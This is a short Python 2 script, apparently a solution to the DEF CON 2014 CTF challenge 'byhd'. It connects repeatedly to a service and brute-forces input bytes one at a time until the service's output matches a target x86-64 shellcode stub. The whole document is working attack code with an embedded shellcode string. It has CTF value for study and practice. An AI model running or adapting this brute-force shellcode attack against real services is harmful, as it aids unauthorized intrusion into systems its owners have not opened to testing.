Defcon 2014 byhd brute-force

from socket import *
from struct import *
import sys
import time

def recvuntil(s, length):
        result = ""
        while True:
                result += s.recv(1)
                if len(result) >= length:
                        break

        return result

#s.connect(('byhd_147e0accdae13428910e909704b21b11.2014.shallweplayaga.me', 9730))

shellcode = "48 8b 4d c8 48 83 c1 30 48 81 e2 ff 00 00 00 5b 48 83 eb 15 ff d3"
shellcode = shellcode.replace(" ","").decode('hex')

answer = ""


ii = len(answer)
fail = False
while ii < 250:
        found = False
        if fail != True:
                i=0xff
        fail = False
        while i>=0:
                s = socket(AF_INET, SOCK_STREAM)
                s.connect(('192.168.0.41', 9730))

                #print hex(i)

                s.send(pack('<L', len(answer)+1))
                s.send(answer+chr(i))

                length = unpack('<L',s.recv(4))[0]
                data = recvuntil(s,length)
                print data
                data = data.decode('hex')

                if len(data) > len(answer) and data[len(answer):] == shellcode[len(answer):len(data)]:
                        answer += chr(i)
                        print "[+] Found:",answer.encode('hex')
                        ii+=1
                        s.close()
                        found = True
                        break

                if data[:len(shellcode)] == shellcode:
                        print answer.encode('hex')
                        sys.exit()

                s.close()
                time.sleep(0.01)
                i-=1
        if found == False:
                print "[-] Fail"
                if len(answer) <= 1:
                        break
                else:
                        last = answer[-1]
                        i = ord(last) - 1
                        answer = answer[:-1]
                        ii-=1
                        fail = True